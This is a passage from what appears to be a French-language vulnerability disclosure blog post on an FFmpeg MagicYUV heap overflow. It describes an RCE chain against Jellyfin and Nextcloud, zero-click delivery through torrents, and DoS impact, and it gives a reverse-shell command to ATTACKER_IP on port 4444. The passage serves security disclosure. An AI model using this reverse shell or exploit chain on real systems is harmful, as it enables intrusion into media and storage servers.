s\u2019ex\u00e9cute en tant qu\u2019utilisateur du service jellyfin (uid\u00a0115).<\/p>\n<h3>Calibrage\u00a0: pourquoi la disposition du tas est importante<\/h3>\n<p>La disposition du tas de la r\u00e9gion OOB d\u00e9pend des arguments exacts de la ligne de commande ffprobe et de la longueur du chemin d\u2019acc\u00e8s au fichier d\u2019entr\u00e9e. Nous l&#8217;avons d\u00e9couvert au cours de trois cycles complets de recalibrage\u00a0:<\/p>\n<ol>\n<li>Les arguments de base d\u00e9placent le tas\u00a0: l\u2019invocation de ffprobe par Jellyfin inclut des indicateurs non pr\u00e9sents dans un appel ffprobe simple (captur\u00e9s via strace sur le processus Jellyfin en cours d\u2019ex\u00e9cution)\u00a0:<\/li>\n<\/ol>\n<pre class=\"language-shell\"><code>\r\nffprobe -analyzeduration 200M -probesize 1G -threads 0 -v warning\r\n        -print_format json -show_streams -show_chapters -show_format\r\n        -show_frames -only_first_vframe -i file:\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<ol start=\"2\">\n<li>L\u2019indicateur -threads\u00a00 d\u00e9place le tas de ~0x200\u00a0: l\u2019option de multithreading entra\u00eene des allocations de contexte de thread suppl\u00e9mentaires qui d\u00e9placent le tampon Chroma vers une autre adresse de tas.<\/li>\n<li>La longueur du chemin d\u2019acc\u00e8s au fichier d\u00e9cale le tas d\u2019environ 0x40 par classe de longueur\u00a0: file:\/tmp\/test.avi (chemin court) produit une disposition diff\u00e9rente de file:\/var\/lib\/jellyfin\/media\/movies\/Summer_Memories_2026.avi (chemin de production). Les noms de fichiers de m\u00eame longueur produisent des agencements identiques \u2014 c\u2019est l\u2019\u00e9l\u00e9ment cl\u00e9 qui rend l\u2019exploit d\u00e9terministe pour un d\u00e9ploiement connu.<\/li>\n<\/ol>\n<h3>L\u2019exploit<\/h3>\n<p>Notre calibrage final vise un chemin d\u2019acc\u00e8s au fichier de 60\u00a0caract\u00e8res (correspondant \u00e0 la structure de la biblioth\u00e8que multim\u00e9dia par d\u00e9faut de Jellyfin). L\u2019exploit AVI\u00a0:<\/p>\n<ul>\n<li aria-level=\"1\">Place la commande shell (bash -c &#8216;bash -i &gt;&amp;amp; \/dev\/tcp\/ATTACKER_IP\/4444 0&gt;&amp;amp;1&#8217;) dans la zone de z\u00e9ros de 88\u00a0octets, \u00e0 l\u2019offset OOB 0.<\/li>\n<li aria-level=\"1\">Conserve les 33\u00a0qwords de m\u00e9tadonn\u00e9es de bloc glibc dans la r\u00e9gion OOB Cb<\/li>\n<li aria-level=\"1\">Pr\u00e9serve l\u2019entr\u00e9e tcache et le bloc principal de la r\u00e9gion OOB Cr (critique\u00a0: si la taille du bloc principal est corrompue, le chemin interne fork()\/exec() de system() \u00e9choue)<\/li>\n<li aria-level=\"1\">Remplace AVBuffer.free par system() et AVBuffer.opaque par l\u2019adresse de la cha\u00eene de commande<\/li>\n<\/ul>\n<p>L\u2019int\u00e9gralit\u00e9 de la charge utile d\u2019exploitation devient un seul fichier AVI de 50\u00a0Ko (mais il peut \u00e9galement s\u2019agir d\u2019un conteneur MKV ou MOV).<\/p>\n<h3>R\u00e9sultat\u00a0: reverse shell \u00e0 partir d\u2019un t\u00e9l\u00e9versement de vid\u00e9o<\/h3>\n<p>Nous avons configur\u00e9 un \u00e9couteur sur la machine de l\u2019auteur de l\u2019attaque et d\u00e9clench\u00e9 une analyse de la biblioth\u00e8que Jellyfin (avec l\u2019ASLR d\u00e9sactiv\u00e9 pour cette d\u00e9monstration, voir la discussion sur l\u2019ASLR ci-dessus). Quelques secondes apr\u00e8s le traitement du fichier t\u00e9l\u00e9vers\u00e9 par le ffprobe de Jellyfin, nous avons obtenu un reverse shell s\u2019ex\u00e9cutant en tant qu\u2019utilisateur du service Jellyfin\u00a0:<\/p>\n<pre class=\"language-c\"><code>$ nc -l 4444\r\njellyfin@ubuntu-vm:~$ id\r\nuid=115(jellyfin) gid=121(jellyfin) groups=121(jellyfin),29(audio),44(video),100(users)\r\njellyfin@ubuntu-vm:~$ whoami\r\njellyfin\r\n<\/code><\/pre>\n<div style=\"width: 1788px;\" class=\"wp-video\"><!--[if lt IE 9]><script>document.createElement('video');<\/script><![endif]-->\n<video class=\"wp-video-shortcode\" id=\"video-172254-1\" width=\"1788\" height=\"1308\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22150238\/jellyfin-poc-2.mp4?_=1\" \/><a href=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22150238\/jellyfin-poc-2.mp4\">https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/22150238\/jellyfin-poc-2.mp4<\/a><\/video><\/div>\n<p>Depuis le contexte utilisateur Jellyfin, un auteur d\u2019attaque a acc\u00e8s \u00e0 toutes les biblioth\u00e8ques multim\u00e9dias, \u00e0 la configuration du serveur, aux cl\u00e9s\u00a0API et (selon le d\u00e9ploiement) peut \u00eatre en mesure d\u2019effectuer un pivotement\/mouvement lat\u00e9ral vers d\u2019autres services du r\u00e9seau.<\/p>\n<h3>Attaque z\u00e9ro clic via des t\u00e9l\u00e9chargements de torrents<\/h3>\n<p>Un vecteur de diffusion r\u00e9el particuli\u00e8rement dangereux est le t\u00e9l\u00e9chargement de torrents ciblant les biblioth\u00e8ques de serveurs multim\u00e9dias. De nombreux utilisateurs de Jellyfin configurent leur client torrent (qBittorrent, Transmission, Deluge) pour t\u00e9l\u00e9charger directement dans le dossier de biblioth\u00e8que multim\u00e9dia surveill\u00e9 de Jellyfin, par exemple, \/var\/lib\/jellyfin\/media\/movies\/.<\/p>\n<p>L&#8217;attaque ne n\u00e9cessite aucune interaction au-del\u00e0 du t\u00e9l\u00e9chargement initial du torrent\u00a0:<\/p>\n<ul>\n<li aria-level=\"1\">L\u2019auteur de l\u2019attaque distribue un fichier AVI MagicYUV malveillant d\u00e9guis\u00e9 en film populaire sur un tracker torrent public (par ex., Blockbuster_Movie_2026_1080p.avi, 50\u00a0Ko)<\/li>\n<li aria-level=\"1\">Le client torrent de la victime t\u00e9l\u00e9charge le fichier directement dans le dossier de la biblioth\u00e8que multim\u00e9dia de Jellyfin<\/li>\n<li aria-level=\"1\">Le moniteur de syst\u00e8me de fichiers en temps r\u00e9el de Jellyfin d\u00e9tecte le nouveau fichier et d\u00e9clenche automatiquement une analyse des m\u00e9tadonn\u00e9es ffprobe<\/li>\n<li aria-level=\"1\">L\u2019exploit se d\u00e9clenche pendant l\u2019analyse\u00a0: AVBuffer.free est d\u00e9tourn\u00e9 vers system(), et la commande de reverse shell de l\u2019auteur de l\u2019attaque s\u2019ex\u00e9cute en tant qu\u2019utilisateur du service jellyfin<\/li>\n<\/ul>\n<p>Aucune interaction de l\u2019utilisateur n\u2019est requise une fois le torrent termin\u00e9. La victime n\u2019a jamais besoin d\u2019ouvrir, de lire ou m\u00eame de regarder le fichier, l\u2019analyse automatique de la biblioth\u00e8que de Jellyfin fait le reste. Cela fait du vecteur torrent un v\u00e9ritable exploit z\u00e9ro clic dans les configurations courantes de serveur multim\u00e9dia domestique.<\/p>\n<p>Le m\u00eame vecteur s\u2019applique \u00e0 tout pipeline multim\u00e9dia automatis\u00e9 o\u00f9 les fichiers t\u00e9l\u00e9charg\u00e9s arrivent dans un r\u00e9pertoire surveill\u00e9\u00a0: Sonarr\/Radarr -&gt; Jellyfin, NZBGet -&gt; Emby ou \u00e0 tout mod\u00e8le de \u00ab\u00a0dossier surveill\u00e9\u00a0\u00bb qui d\u00e9clenche un traitement bas\u00e9 sur ffmpeg sur les nouveaux fichiers.<\/p>\n<p><em>Sch\u00e9ma3\u00a0: attaque dans le monde r\u00e9el<\/em><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-168608 size-large\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3-1024x553.png\" alt=\"Sch\u00e9ma Pixelsmash 3\" width=\"1024\" height=\"553\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161508\/Pixelsmash-Diagram-3.png?speedsize=w_1420 1420w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><strong>Remarque sur jemalloc\u00a0:<\/strong> Le fichier \/etc\/default\/jellyfin de Jellyfin contient une ligne LD_PRELOAD comment\u00e9e pour libjemalloc2. Si un utilisateur ou une distribution l\u2019active, la disposition diff\u00e9rente du tas de jemalloc emp\u00eacherait l\u2019exploit calibr\u00e9 pour glibc d\u2019aboutir, mais rien dans la configuration par d\u00e9faut n\u2019est con\u00e7u pour emp\u00eacher l\u2019attaque, cela ne se produit que par hasard dans ce cas. Dans <strong>l\u2019installation apt par d\u00e9faut<\/strong>, jemalloc n\u2019est pas activ\u00e9, et la disposition du tas glibc requise par notre exploit est celle que ffprobe utilise de base.<\/p>\n<h2>Exploitation dans le monde r\u00e9el\u00a0: RCE Nextcloud via la g\u00e9n\u00e9ration d\u2019aper\u00e7us<\/h2>\n<p>Pour d\u00e9montrer la polyvalence de l\u2019exploit \u00e0 travers diff\u00e9rentes applications et versions de FFmpeg, nous avons port\u00e9 la cha\u00eene RCE sur <strong>Nextcloud<\/strong>, la plateforme de stockage cloud auto-h\u00e9berg\u00e9e leader du secteur, qui utilise un build FFmpeg enti\u00e8rement ind\u00e9pendant.<\/p>\n<p>Nextcloud propose un fournisseur d\u2019aper\u00e7us de films en option (OC\\Preview\\Movie) qui invoque le fichier binaire <strong>ffmpeg<\/strong> du syst\u00e8me pour la g\u00e9n\u00e9ration de miniatures. En cas d\u2019activation, le simple fait de parcourir l\u2019application Fichiers d\u00e9clenche la vuln\u00e9rabilit\u00e9 pour toute vid\u00e9o ne disposant pas d\u2019un aper\u00e7u mis en cache.<\/p>\n<p>L\u2019auteur de l\u2019attaque n\u2019a besoin d\u2019aucune interaction au-del\u00e0 du fait de s\u2019assurer que le fichier est visible dans une liste de dossiers\u00a0; le traitement c\u00f4t\u00e9 serveur se charge du reste, ce qui en fait un vecteur quasi z\u00e9ro clic.<\/p>\n<p>Un exemple de chemin d\u2019attaque\u00a0: un utilisateur t\u00e9l\u00e9verse l\u2019AVI sp\u00e9cialement con\u00e7u via l\u2019interface web -&gt; le fichier appara\u00eet dans la vue Fichiers -&gt; Nextcloud lance ffmpeg pour l\u2019extraction des m\u00e9tadonn\u00e9es et des aper\u00e7us -&gt; l\u2019\u00e9criture OOB MagicYUV se d\u00e9clenche -&gt; AVBuffer.free est d\u00e9tourn\u00e9 vers system() -&gt; des commandes arbitraires s\u2019ex\u00e9cutent en tant qu\u2019utilisateur www-data.<\/p>\n<p>Le contexte www-data est d\u2019une valeur \u00e9lev\u00e9e\u00a0: il donne un acc\u00e8s direct \u00e0 toutes les donn\u00e9es utilisateur, aux identifiants de base de donn\u00e9es dans config.php, et offre un puissant point de pivot vers le r\u00e9seau interne.<\/p>\n<p>L\u2019exploitation est enti\u00e8rement silencieuse. Dans l&#8217;interface Web, le seul indicateur est une ic\u00f4ne de fichier g\u00e9n\u00e9rique l\u00e0 o\u00f9 devrait se trouver une vignette. Aucune erreur ni aucun pop-up n\u2019alerte l\u2019utilisateur, et le plantage qui en r\u00e9sulte est enfoui dans les journaux c\u00f4t\u00e9 serveur qui ne sont g\u00e9n\u00e9ralement pas surveill\u00e9s par les administrateurs.<\/p>\n<p><span style=\"font-weight: 400;\">Veuillez consulter la vid\u00e9o ci-dessous pour plus de d\u00e9tails\u00a0:<\/span><\/p>\n<div style=\"width: 1216px;\" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-172254-2\" width=\"1216\" height=\"1090\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21162302\/nextcloud-rce.mp4?_=2\" \/><a href=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21162302\/nextcloud-rce.mp4\">https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21162302\/nextcloud-rce.mp4<\/a><\/video><\/div>\n<h2>Impact sur l\u2019\u00e9cosyst\u00e8me\u00a0: DoS sur chaque pile multim\u00e9dia<\/h2>\n<p>M\u00eame sans la cha\u00eene RCE, l\u2019\u00e9criture OOB MagicYUV seule provoque des plantages imm\u00e9diats sur toutes les applications de traitement multim\u00e9dia grand public que nous avons test\u00e9es\u00a0:<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Cible<\/strong><\/td>\n<td><strong>Utilisation de FFmpeg<\/strong><\/td>\n<td><strong>Comportement en cas de plantage<\/strong><\/td>\n<\/tr>\n<tr>\n<td>mpv (lecteur de bureau)<\/td>\n<td>Lie la biblioth\u00e8que syst\u00e8me libavcodec<\/td>\n<td>munmap_chunk()\u00a0: pointeur non valide &#8211; SIGABRT<\/td>\n<\/tr>\n<tr>\n<td>Kodi<\/td>\n<td>Lie la biblioth\u00e8que syst\u00e8me libavcodec<\/td>\n<td>Plantage<\/td>\n<\/tr>\n<tr>\n<td>ffmpegthumbnailer (GNOME\/KDE\/XFCE)<\/td>\n<td>Lie la biblioth\u00e8que syst\u00e8me libavcodec<\/td>\n<td>SIGSEGV, image de la m\u00e9moire abandonn\u00e9e<\/td>\n<\/tr>\n<tr>\n<td>Jellyfin 10.11.9<\/td>\n<td>jellyfin-ffmpeg\u00a07.1.3 int\u00e9gr\u00e9<\/td>\n<td>Corruption silencieuse du tas (pas de plantage, pas d\u2019erreur)<\/td>\n<\/tr>\n<tr>\n<td>Emby 4.8.11<\/td>\n<td>emby-ffmpeg\u00a05.1 int\u00e9gr\u00e9<\/td>\n<td>Corruption silencieuse du tas, exit\u00a00<\/td>\n<\/tr>\n<tr>\n<td>Nextcloud (worker d\u2019aper\u00e7us)<\/td>\n<td>ffmpeg syst\u00e8me via shell-out<\/td>\n<td>Plantage + RCE en tant que www-data | Configuration non par d\u00e9faut (fournisseur d\u2019aper\u00e7us de films)<\/td>\n<\/tr>\n<tr>\n<td>Immich (service de transcodage)<\/td>\n<td>ffmpeg syst\u00e8me<\/td>\n<td>SIGABRT<\/td>\n<\/tr>\n<tr>\n<td>PhotoPrism (extrait d\u2019affiche)<\/td>\n<td>ffmpeg syst\u00e8me<\/td>\n<td>SIGABRT<\/td>\n<\/tr>\n<tr>\n<td>OBS Studio<\/td>\n<td>libavcodec syst\u00e8me<\/td>\n<td>Plantage<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>Le fichier ne fait que 50\u00a0Ko et fonctionne sur trois formats de conteneur\u00a0:<\/p>\n<table>\n<tbody>\n<tr>\n<td>Conteneur<\/td>\n<td>MagicYUV est-il accept\u00e9\u00a0?<\/td>\n<td>Fait planter FFmpeg\u00a0?<\/td>\n<\/tr>\n<tr>\n<td>AVI<\/td>\n<td>Oui<\/td>\n<td>Oui<\/td>\n<\/tr>\n<tr>\n<td>MKV \/ Matroska<\/td>\n<td>Oui<\/td>\n<td>Oui<\/td>\n<\/tr>\n<tr>\n<td>MOV\/QuickTime<\/td>\n<td>Oui<\/td>\n<td>Oui<\/td>\n<\/tr>\n<tr>\n<td>MP4<\/td>\n<td>Non (codec absent du registre MP4)<\/td>\n<td>N\/A<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3><\/h3>\n<h3>Une vuln\u00e9rabilit\u00e9 de la cha\u00eene d\u2019approvisionnement au rayon d\u2019action potentiellement \u00e9norme<\/h3>\n<p>Le tableau ci-dessus illustre pourquoi PixelSmash est, \u00e0 la base, une vuln\u00e9rabilit\u00e9 de la cha\u00eene d\u2019approvisionnement. La biblioth\u00e8que libavcodec de FFmpeg est la biblioth\u00e8que standard de d\u00e9codage multim\u00e9dia, int\u00e9gr\u00e9e en tant que d\u00e9pendance transitive dans pratiquement toutes les applications traitant de la vid\u00e9o. Le d\u00e9codeur MagicYUV est fourni activ\u00e9 par d\u00e9faut dans chaque build en amont, et les projets en aval en h\u00e9ritent sans aucune activation explicite.<\/p>\n<p>Cela signifie qu\u2019un seul bug dans magicyuv.c (600\u00a0lignes de code sp\u00e9cifique au codec que la plupart des mainteneurs en aval n\u2019ont jamais lues) se propage silencieusement \u00e0 mpv, Jellyfin, Emby, Nextcloud, Immich, PhotoPrism, OBS, vLLM et des centaines d\u2019autres projets. Chacun de ces projets fait confiance \u00e0 FFmpeg pour g\u00e9rer en toute s\u00e9curit\u00e9 les entr\u00e9es non fiables. Aucun d\u2019entre eux n\u2019a la visibilit\u00e9 ni l\u2019expertise pour auditer les d\u00e9codeurs de codecs individuels. Voici le probl\u00e8me de la cha\u00eene d\u2019approvisionnement en r\u00e9sum\u00e9\u00a0; votre surface d\u2019attaque inclut chaque ligne de code de chaque d\u00e9pendance que vous livrez, que vous l\u2019ayez lue ou non.<\/p>\n<p>L\u2019approche de Plex, \u00e0 savoir compiler FFmpeg avec &#8211;disable-decoders et une liste d\u2019autorisations minimale, est la seule d\u00e9fense efficace que nous ayons observ\u00e9e. C&#8217;est aussi le plus rare : de tous les projets que nous avons test\u00e9s, seul Plex franchit cette \u00e9tape.<\/p>\n<p><em>Sch\u00e9ma4\u00a0: impact sur la cha\u00eene d\u2019approvisionnement<\/em><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-168609 size-large\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4-1024x689.png\" alt=\"Sch\u00e9ma Pixelsmash 4\" width=\"1024\" height=\"689\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161511\/Pixelsmash-Diagram-4.png?speedsize=w_1460 1460w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<h3>La corruption silencieuse du tas est pire qu\u2019un plantage<\/h3>\n<p>Jellyfin et Emby traitent le fichier malveillant avec le code exit\u00a00 et sans sortie d\u2019erreur. Ce n\u2019est pas un signe de s\u00e9curit\u00e9\u00a0; le tas est silencieusement corrompu dans un cas comme dans l\u2019autre. Les builds de la m\u00eame version de ffmpeg instrument\u00e9s par ASAN confirment que la m\u00eame \u00e9criture OOB de 640\u00a0octets se d\u00e9clenche. Le binaire de production ne d\u00e9clenche tout simplement pas le contr\u00f4le d\u2019int\u00e9grit\u00e9 de la glibc sur le bloc corrompu.<\/p>\n<p>Un serveur Jellyfin fonctionnant depuis longtemps traite des centaines de t\u00e9l\u00e9versements malveillants, accumulant une corruption du tas \u00e0 chaque fois, sans aucun signal d\u2019erreur pour l\u2019administrateur. C\u2019est peut-\u00eatre le pire mode de d\u00e9faillance\u00a0: le serveur fait l\u2019objet d\u2019une exploitation active, et rien dans aucun journal n\u2019en informe l\u2019op\u00e9rateur.<\/p>\n<h3>Amplification des co\u00fbts du SaaS (en th\u00e9orie)<\/h3>\n<p>Chaque pipeline cloud de traitement vid\u00e9o qui accepte des fichiers multim\u00e9dias t\u00e9l\u00e9vers\u00e9s par les utilisateurs ex\u00e9cute des workers bas\u00e9s sur ffmpeg. Les t\u00e2ches qui ont \u00e9chou\u00e9 sont retent\u00e9es, et chaque nouvelle tentative d\u00e9clenche \u00e0 nouveau le plantage\u00a0:<\/p>\n<table>\n<tbody>\n<tr>\n<td>Budget de tentatives<\/td>\n<td>Amplification des co\u00fbts par t\u00e9l\u00e9versement de 50\u00a0Ko<\/td>\n<\/tr>\n<tr>\n<td>AWS Lambda par d\u00e9faut (3 tentatives)<\/td>\n<td>13,7x<\/td>\n<\/tr>\n<tr>\n<td>Sidekiq par d\u00e9faut (25\u00a0tentatives)<\/td>\n<td>~114x<\/td>\n<\/tr>\n<tr>\n<td>AWS Step Functions (MaxAttempts\u00a0: 10)<\/td>\n<td>~46x<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>Un t\u00e9l\u00e9versement continu de fichiers malveillants \u00e0 1\u00a0Ko\/s (bien en dessous de toute limite de d\u00e9bit) co\u00fbtera au d\u00e9fenseur, en th\u00e9orie, ~200\u00a0$\/jour rien que sur AWS\u00a0Lambda. Le ratio de co\u00fbt asym\u00e9trique aux tarifs du trafic r\u00e9seau sortant est d\u2019environ 50\u00a0000:1 en faveur de l\u2019auteur de l\u2019attaque.<\/p>\n<h2>La surface d\u2019attaque au-del\u00e0 de la lecture vid\u00e9o directe<\/h2>\n<p>La vuln\u00e9rabilit\u00e9 peut \u00eatre d\u00e9clench\u00e9e depuis n\u2019importe quel chemin de code qui achemine un flux MagicYUV via le d\u00e9codeur de libavcodec. Au-del\u00e0 de la lecture directe, cela inclut\u00a0:<\/p>\n<ul>\n<li aria-level=\"1\">G\u00e9n\u00e9ration de miniatures\u00a0: les gestionnaires de fichiers Linux (Nautilus, Dolphin, Thunar) d\u00e9clenchent ffmpegthumbnailer lorsqu\u2019un utilisateur parcourt simplement un r\u00e9pertoire contenant le fichier malveillant, aucun clic n\u2019est requis<\/li>\n<li aria-level=\"1\">G\u00e9n\u00e9ration d\u2019aper\u00e7us\u00a0: les appareils NAS (Synology\u00a0DSM, QNAP), les gestionnaires de photos (Immich, PhotoPrism) et le stockage cloud (Nextcloud &#8211; RCE confirm\u00e9e, voir ci-dessus) g\u00e9n\u00e8rent des miniatures lors du t\u00e9l\u00e9versement<\/li>\n<li aria-level=\"1\">Extraction des m\u00e9tadonn\u00e9es\u00a0: les serveurs multim\u00e9dias ex\u00e9cutent ffprobe pour extraire les informations de flux, l\u2019analyse automatique de Jellyfin se d\u00e9clenche \u00e0 chaque nouveau fichier de la biblioth\u00e8que<\/li>\n<li aria-level=\"1\">Pipelines de ML\/d\u2019IA : vLLM et autres frameworks d\u2019IA multimodaux qui utilisent PyAV\/libavcodec pour d\u00e9coder les entr\u00e9es vid\u00e9o (DoS confirm\u00e9, 3\/3 SIGSEGV)<\/li>\n<li aria-level=\"1\">Plateformes de discussion\u00a0: Slack, Discord, Telegram et WhatsApp g\u00e9n\u00e8rent toutes des aper\u00e7us vid\u00e9o c\u00f4t\u00e9 serveur \u00e0 l\u2019aide de ffmpeg (architecture document\u00e9e dans leurs blogs d\u2019ing\u00e9nierie\u00a0; non test\u00e9e en production)<\/li>\n<\/ul>\n<h2>Surfaces d\u2019attaque \u00e9mergentes\u00a0: IA\/ML et au-del\u00e0<\/h2>\n<p>La port\u00e9e de la vuln\u00e9rabilit\u00e9 s\u2019\u00e9tend bien au-del\u00e0 des applications m\u00e9dias traditionnelles. Nous avons recommand\u00e9 que plusieurs cibles \u00e0 haute valeur de l\u2019\u00e9cosyst\u00e8me IA\/ML traitent les vid\u00e9os via FFmpeg et fassent l\u2019objet d\u2019une analyse d\u2019exposition\u00a0:<\/p>\n<table>\n<tbody>\n<tr>\n<td>Cible<\/td>\n<td>Utilisation de FFmpeg<\/td>\n<td>Impact<\/td>\n<\/tr>\n<tr>\n<td>vLLM<\/td>\n<td>Utilise PyAV (liaisons FFmpeg en processus) pour d\u00e9coder les entr\u00e9es vid\u00e9o pour l\u2019inf\u00e9rence LLM multimodale. Nous avons confirm\u00e9 le DoS\u00a0: 3\/3 SIGSEGV.<\/td>\n<td>Plantage du worker d\u2019inf\u00e9rence\u00a0; dans les d\u00e9ploiements partag\u00e9s, il fait planter le processus de mise en service pour tous les utilisateurs<\/td>\n<\/tr>\n<tr>\n<td>LLaVA \/ LLaVA-NeXT<\/td>\n<td>Mod\u00e8les vision-langage multimodaux. Le pipeline de d\u00e9codage utilise PyAV ou OpenCV.<\/td>\n<td>Plantage du worker\u00a0; risque de corruption du tas dans les processus de mise en service \u00e0 longue dur\u00e9e d\u2019ex\u00e9cution<\/td>\n<\/tr>\n<tr>\n<td>OpenCV (cv2.VideoCapture)<\/td>\n<td>Lie la biblioth\u00e8que syst\u00e8me libavcodec. Utilis\u00e9 partout dans les pipelines d\u2019entra\u00eenement ML.<\/td>\n<td>SIGABRT lors de tout VideoCapture.read() du fichier malveillant<\/td>\n<\/tr>\n<tr>\n<td>Ensembles de donn\u00e9es Hugging\u00a0Face<\/td>\n<td>Ensembles de donn\u00e9es vid\u00e9o charg\u00e9s via un sous-processus PyAV ou ffmpeg.<\/td>\n<td>Plantage lors du chargement de l\u2019ensemble de donn\u00e9es\u00a0; des entr\u00e9es d\u2019ensemble de donn\u00e9es empoisonn\u00e9es pourraient provoquer un DoS sur les ex\u00e9cutions d\u2019entra\u00eenement<\/td>\n<\/tr>\n<tr>\n<td>NVIDIA DALI<\/td>\n<td>Pipeline de chargement de donn\u00e9es acc\u00e9l\u00e9r\u00e9 par GPU. Peut utiliser le backend FFmpeg.<\/td>\n<td>Plantage du worker\u00a0; d\u00e9faillance potentielle en cascade lors de l\u2019entra\u00eenement distribu\u00e9<\/td>\n<\/tr>\n<tr>\n<td>Ray Data\/Ray Serve<\/td>\n<td>Traitement distribu\u00e9 des donn\u00e9es et mise en service de mod\u00e8le.<\/td>\n<td>Le plantage se propage aux workers Ray\u00a0; une seule vid\u00e9o malveillante perturbe le cluster<\/td>\n<\/tr>\n<tr>\n<td>Roboflow \/ Supervisely \/ CVAT<\/td>\n<td>Plateformes d\u2019annotation CV. Ing\u00e9rez les vid\u00e9os t\u00e9l\u00e9vers\u00e9es par les utilisateurs.<\/td>\n<td>Plantage c\u00f4t\u00e9 serveur lors du t\u00e9l\u00e9versement\u00a0; corruption du tas dans les workers d\u2019annotation<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>Le point commun entre toutes ces cibles\u00a0: elles acceptent des vid\u00e9os provenant de sources non fiables (t\u00e9l\u00e9versements d\u2019utilisateurs, web scraping, ensembles de donn\u00e9es publics, invites de mod\u00e8les) et les traitent via libavcodec sans filtrage de codec. Le d\u00e9codeur MagicYUV est activ\u00e9 dans chaque build par d\u00e9faut.<\/p>\n<p>Nous avons valid\u00e9 l&#8217;impact du DoS directement sur vLLM et confirm\u00e9 le plantage. L\u2019exploitation RCE via la primitive d\u2019\u00e9crasement d\u2019AVBuffer ne se transpose pas directement depuis FFmpeg\u00a07.1.3 vers libavcodec\u00a04.4 (la version li\u00e9e par PyAV sur Ubuntu\u00a022.04) en raison d\u2019une g\u00e9om\u00e9trie de disposition du tas diff\u00e9rente\u00a0: la structure AVBuffer se situe 14\u00a0Ko avant la fin du plan Chroma plut\u00f4t que 256\u00a0octets apr\u00e8s celle-ci, la pla\u00e7ant hors de port\u00e9e de l\u2019\u00e9criture OOB. Cependant, d\u2019autres strat\u00e9gies d\u2019exploitation (attaque fastbin via les m\u00e9tadonn\u00e9es de bloc dans la plage OOB, ou d\u00e9tournement de vtable _IO_FILE) demeurent viables et justifient des recherches plus approfondies.<\/p>\n<p>Nous recommandons aux \u00e9quipes exploitant une infrastructure d\u2019IA\/ML traitant des entr\u00e9es vid\u00e9o d\u2019auditer leur d\u00e9pendance FFmpeg et d\u2019appliquer le correctif ou de d\u00e9sactiver le d\u00e9codeur MagicYUV.<\/p>\n<h2>Calendrier de divulgation<\/h2>\n<table>\n<tbody>\n<tr>\n<td>Date<\/td>\n<td>Event<\/td>\n<\/tr>\n<tr>\n<td>13\u00a0mai\u00a02026<\/td>\n<td>L&#8217;\u00e9quipe de recherche en s\u00e9curit\u00e9 JFrog a signal\u00e9 la vuln\u00e9rabilit\u00e9 \u00e0 l&#8217;\u00e9quipe de s\u00e9curit\u00e9 FFmpeg (ffmpeg-security@ffmpeg.org).<\/td>\n<\/tr>\n<tr>\n<td>19\u00a0mai\u00a02026<\/td>\n<td>L&#8217;\u00e9quipe de s\u00e9curit\u00e9 de FFmpeg a accus\u00e9 r\u00e9ception du rapport.<\/td>\n<\/tr>\n<tr>\n<td>24\u00a0mai\u00a02026<\/td>\n<td>L&#8217;\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a signal\u00e9 la vuln\u00e9rabilit\u00e9 \u00e0 l&#8217;\u00e9quipe de s\u00e9curit\u00e9 de Jellyfin (security@jellyfin.org)<\/td>\n<\/tr>\n<tr>\n<td>26\u00a0mai\u00a02026<\/td>\n<td>L\u2019\u00e9quipe de s\u00e9curit\u00e9 de Jellyfin a mis \u00e0 jour sa version en 